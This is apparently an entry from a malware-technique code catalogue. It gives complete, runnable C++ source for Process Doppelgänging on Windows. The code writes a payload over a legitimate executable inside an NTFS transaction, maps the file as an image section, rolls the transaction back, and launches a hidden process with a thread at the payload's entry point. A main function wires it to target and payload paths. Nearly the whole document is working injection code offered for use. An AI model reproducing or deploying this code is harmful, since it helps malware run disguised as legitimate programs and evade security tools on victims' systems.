Windows C++ / Process Doppelgänging
Author | External |
Platform | Windows |
Language | C++ |
Technique | Process Doppelgänging |
Description:
The code demonstrates how to perform Process Doppelgänging, a technique that leverages the Transactional NTFS functionality in Windows to overwrite a legitimate file with a malicious file, resulting in a process injection.
Code
// Ref = src
// https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
//
// Credits:
// Vyacheslav Rusakov @swwwolf
// Tom Bonner @thomas_bonner
//
#include <Windows.h>
#include <ntstatus.h>
#include "ntos.h"
VOID ProcessDoppelgänging(
_In_ LPWSTR lpTargetApp,
_In_ LPWSTR lpPayloadApp)
{
BOOL bCond = FALSE;
NTSTATUS status;
HANDLE hTransaction = NULL, hTransactedFile = INVALID_HANDLE_VALUE, hFile = INVALID_HANDLE_VALUE;
HANDLE hSection = NULL, hProcess = NULL, hThread = NULL;
LARGE_INTEGER fsz;
ULONG ReturnLength = 0;
ULONG_PTR EntryPoint = 0, ImageBase = 0;
PVOID Buffer = NULL, MemoryPtr = NULL;
SIZE_T sz = 0;
PEB *Peb;
PROCESS_BASIC_INFORMATION pbi;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
OBJECT_ATTRIBUTES obja;
UNICODE_STRING ustr;
BYTE temp[0x1000];
do {
RtlSecureZeroMemory(&temp, sizeof(temp));
//
// Create TmTx transaction object.
//
InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
status = NtCreateTransaction(&hTransaction,
TRANSACTION_ALL_ACCESS,
&obja,
NULL,
NULL,
0,
0,
0,
NULL,
NULL);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtCreateTransaction fail");
break;
}
//
// Open target file for transaction.
//
hTransactedFile = CreateFileTransacted(lpTargetApp,
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL,
hTransaction,
NULL,
NULL);
if (hTransactedFile == INVALID_HANDLE_VALUE) {
OutputDebugString(L"CreateFileTransacted fail");
break;
}
//
// Open file payload.
//
hFile = CreateFile(lpPayloadApp,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
OutputDebugString(L"CreateFile(target) failed");
break;
}
//
// Query payload file size.
//
if (!GetFileSizeEx(hFile, &fsz)) {
OutputDebugString(L"GetFileSizeEx(target) failed");
break;
}
//
// Allocate buffer for payload file.
//
Buffer = NULL;
sz = (SIZE_T)fsz.LowPart;
status = NtAllocateVirtualMemory(NtCurrentProcess(),
&Buffer,
0,
&sz,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtAllocateVirtualMemory(fsz.LowPart) failed");
break;
}
//
// Read payload file to the buffer.
//
if (!ReadFile(hFile, Buffer, fsz.LowPart, &ReturnLength, NULL)) {
OutputDebugString(L"ReadFile(hFile, Buffer) failed");
break;
}
CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
//
// Write buffer into transaction.
//
if (!WriteFile(hTransactedFile, Buffer, fsz.LowPart, &ReturnLength, NULL)) {
OutputDebugString(L"WriteFile(hTransactedFile, Buffer) failed");
break;
}
//
// Create section from transacted file.
//
status = NtCreateSection(&hSection,
SECTION_ALL_ACCESS,
NULL,
0,
PAGE_READONLY,
SEC_IMAGE,
hTransactedFile);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtCreateSection(hTransactedFile) failed");
break;
}
status = NtRollbackTransaction(hTransaction, TRUE);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtRollbackTransaction(hTransaction) failed");
break;
}
NtClose(hTransaction);
hTransaction = NULL;
CloseHandle(hTransactedFile);
hTransactedFile = INVALID_HANDLE_VALUE;
//
// Create process object with transacted section.
//
//
// Warning: due to MS brilliant coding skills (NULL ptr dereference)
// this call will trigger BSOD on Windows 10 prior to RS3.
//
hProcess = NULL;
status = NtCreateProcessEx(&hProcess,
PROCESS_ALL_ACCESS,
NULL,
NtCurrentProcess(),
PS_INHERIT_HANDLES,
hSection,
NULL,
NULL,
FALSE);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtCreateProcessEx(hSection) failed");
break;
}
//
// Query payload file entry point value.
//
status = NtQueryInformationProcess(hProcess,
ProcessBasicInformation,
&pbi,
sizeof(PROCESS_BASIC_INFORMATION),
&ReturnLength);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtQueryInformationProcess failed");
break;
}
status = NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtReadVirtualMemory failed");
break;
}
EntryPoint = (ULONG_PTR)RtlImageNtHeader(Buffer)->OptionalHeader.AddressOfEntryPoint;
EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress;
//
// Create process parameters block.
//
//RtlInitUnicodeString(&ustr, L"C:\\windows\\system32\\svchost.exe");
RtlInitUnicodeString(&ustr, lpTargetApp);
status = RtlCreateProcessParametersEx(&ProcessParameters,
&ustr,
NULL,
NULL,
&ustr,
NULL,
NULL,
NULL,
NULL,
NULL,
RTL_USER_PROC_PARAMS_NORMALIZED);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"RtlCreateProcessParametersEx failed");
break;
}
//
// Allocate memory in target process and write process parameters block.
//
sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength;
MemoryPtr = ProcessParameters;
status = NtAllocateVirtualMemory(hProcess,
&MemoryPtr,
0,
&sz,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtAllocateVirtualMemory(ProcessParameters) failed");
break;
}
sz = 0;
status = NtWriteVirtualMemory(hProcess,
ProcessParameters,
ProcessParameters,
ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength,
&sz);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtWriteVirtualMemory(ProcessParameters) failed");
break;
}
//
// Update PEB->ProcessParameters pointer to newly allocated block.
//
Peb = pbi.PebBaseAddress;
status = NtWriteVirtualMemory(hProcess,
&Peb->ProcessParameters,
&ProcessParameters,
sizeof(PVOID),
&sz);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtWriteVirtualMemory(Peb->ProcessParameters) failed");
break;
}
//
// Create primary thread.
//
hThread = NULL;
status = NtCreateThreadEx(&hThread,
THREAD_ALL_ACCESS,
NULL,
hProcess,
(LPTHREAD_START_ROUTINE)EntryPoint,
NULL,
FALSE,
0,
0,
0,
NULL);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtCreateThreadEx(EntryPoint) failed");
break;
}
} while (bCond);
if (hTransaction)
NtClose(hTransaction);
if (hSection)
NtClose(hSection);
if (hProcess)
NtClose(hProcess);
if (hThread)
NtClose(hThread);
if (hTransactedFile != INVALID_HANDLE_VALUE)
CloseHandle(hTransactedFile);
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
if (Buffer != NULL) {
sz = 0;
NtFreeVirtualMemory(NtCurrentProcess(), &Buffer, &sz, MEM_RELEASE);
}
if (ProcessParameters) {
RtlDestroyProcessParameters(ProcessParameters);
}
}
void main()
{
ProcessDoppelgänging(L"C:\\test\\target.exe", L"C:\\test\\payload.exe");
ExitProcess(0);
}
Created
September 10, 2020
Last Revised
April 22, 2024